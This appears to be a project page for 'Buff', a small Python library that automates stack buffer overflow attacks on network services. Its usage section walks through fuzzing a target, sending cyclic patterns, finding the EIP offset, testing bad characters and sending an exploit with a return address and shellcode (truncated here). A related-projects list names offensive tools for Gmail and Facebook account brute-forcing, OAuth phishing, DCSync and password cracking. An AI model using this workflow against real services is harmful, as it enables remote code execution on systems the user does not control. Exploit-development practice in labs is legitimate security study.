Buff A simple BOF library I wrote under an hour to help me automate with BOF attack

Overview

What is Buff?

A simple BOF library I wrote under an hour to help me automate with BOF attack.

It comes with fuzzer and a generic method to generate exploit easily.


Not all the methods are documented yet as I do not have time now. Feel free to read the code, it's very small code-base anyway :)

Usage

I made a template as well.

Setup Runner

import buff

runner = buff.Buff(target = ("127.0.0.1", 1337), prefix = "", postfix = "")

Fuzzer

runner.fuzz()

# you can set timeout, step_size, and sleep seconds
runner.fuzz(timeout = 5, step_size = 1000, sleep = 3)

# use custom fuzzer
def fuzzer(target: (str, int), timeout: int, prefix: str = "", postfix: str = "", step_size: int = 100, sleep: int = 1):
    ...

runner.setFuzzer(fuzzer)

Sending Pattern

runner.sendPattern()

Find Pattern Offset

BUFFER_SIZE = 2400
offset = buff.generator.findPatternOffset(BUFFER_SIZE, "386F4337")
print(offset)

Sending Bad Characters

runner.setBufferSize(2400)
runner.setEipOffset(1978)
runner.sendBadChars()

# you can also exclude by
runner.sendBadChars(exclude = ["\x42", "\x43"])

# change default EIP placeholder
runner.sendBadChars(fake_eip = "\x44\x44\x44\x44")

Sending Exploit

# Set buffer size
runner.setBufferSize(2400)

# Set EIP offset
runner.setEipOffset(1978)

# Set return address
eip_address = "\xaf\x11\x50\x62"
runner.setEipAddress(eip_address)

# Set padding
runner.setPaddingSize(16)

# Set exploit
exploit = ("\xdb\xde.....")
runner.setExploit(exploit)

runner.sendExploit()
You might also like...
Generate malicious files using recently published bidi-attack (CVE-2021-42574)
Generate malicious files using recently published bidi-attack (CVE-2021-42574)

CVE-2021-42574 - Code generator Generate malicious files using recently published bidi-attack vulnerability, which was discovered in Unicode Specifica

python script for hack gmail account using brute force attack
python script for hack gmail account using brute force attack

#Creator: johnry #coded by john ry GBrute python script for hack gmail account using brute force attack Commands apt update && apt upgrade git clone h

Facebook account cloning/hacking advanced tool + dictionary attack added | Facebook automation tool
Facebook account cloning/hacking advanced tool + dictionary attack added | Facebook automation tool

loggef Facebook automation tool, Facebook account hacking and cloning advanced tool + dictionary attack added Warning Use this tool for educational pu

Abusing Microsoft 365 OAuth Authorization Flow for Phishing Attack
Abusing Microsoft 365 OAuth Authorization Flow for Phishing Attack

O365DevicePhish Microsoft365_devicePhish Abusing Microsoft 365 OAuth Authorization Flow for Phishing Attack This is a simple proof-of-concept script t

Attack SQL Server through gopher protocol
Attack SQL Server through gopher protocol

Attack SQL Server through gopher protocol

Implementation of an attack on a tropical algebra discrete logarithm based protocol

Implementation of an attack on a tropical algebra discrete logarithm based protocol This code implements the attack detailed in the paper: On the trop

client attack remotely , this script was written for educational purposes only
client attack remotely , this script was written for educational purposes only

client attack remotely , this script was written for educational purposes only, do not use against to any victim, which you do not have permission for it

Statistical Random Number Generator Attack Against The Kirchhoff-law-johnson-noise (Kljn) Secure Key Exchange Protocol

Statistical Random Number Generator Attack Against The Kirchhoff-law-johnson-noise (Kljn) Secure Key Exchange Protocol

DCSync - DCSync Attack from Outside using Impacket

Adding DCSync Permissions Mostly copypasta from https://github.com/tothi/rbcd-at

Owner
0x00
If the rise of an all-powerful artificial intelligence is inevitable, our digital overlords will punish those of us who did not help them get there.
0x00
Simple script for looping a Denial Of Service (DoS) attack over one single mac address in range

Bluetooth Simple Denial Of Service (DoS) Legal Note This project is made only for educational purposes and for helping in Proofs of Concept. The autho

null 1 Jan 9, 2022
This is simple python FTP password craker. To crack FTP login using wordlist based brute force attack

This is simple python FTP password craker. To crack FTP login using wordlist based brute force attack

Varun Jagtap 5 Oct 8, 2022
If you are worried about being found perhaps try taking cover under a blanket. Pure Python PowerShell Obfuscator

If you are worried about being found perhaps try taking cover under a blanket. Pure Python PowerShell Obfuscator

Ph0tonz 3 Jun 7, 2022
DirBruter is a Python based CLI tool. It looks for hidden or existing directories/files using brute force method. It basically works by launching a dictionary based attack against a webserver and analyse its response.

DirBruter DirBruter is a Python based CLI tool. It looks for hidden or existing directories/files using brute force method. It basically works by laun

vijay sahu 12 Dec 17, 2022
Aiminsun 165 Dec 21, 2022
A repository to detect the ARP spoofing in any devices and prevent Man in the Middle(MITM) attack using Python3

arp_spoof_detector A repository to detect the ARP spoofing in any devices and prevent Man in the Middle(MITM) attack using Python3 Usage: git clone ht

Surya Das N 1 Oct 30, 2021
Generate malicious files using recently published homoglyphic-attack (CVE-2021-42694)

CVE-2021-42694 Generate malicious files using recently published homoglyph-attack vulnerability, which was discovered at least in C, C++, C#, Go, Pyth

js-on 17 Dec 11, 2022
This is python script that will extract the functions call in all used DLL in an executable and then provide a mapping of those functions to the attack classes defined and curated malapi.io.

F2Amapper This is python script that will extract the functions call in all used DLL in an executable and then provide a mapping of those functions to

Ajit Kumar 3 Sep 3, 2022
A (completely native) python3 wifi brute-force attack using the 100k most common passwords (2021)

wifi-bf [LINUX ONLY] A (completely native) python3 wifi brute-force attack using the 100k most common passwords (2021) This script is purely for educa

Finn Lancaster 20 Nov 12, 2022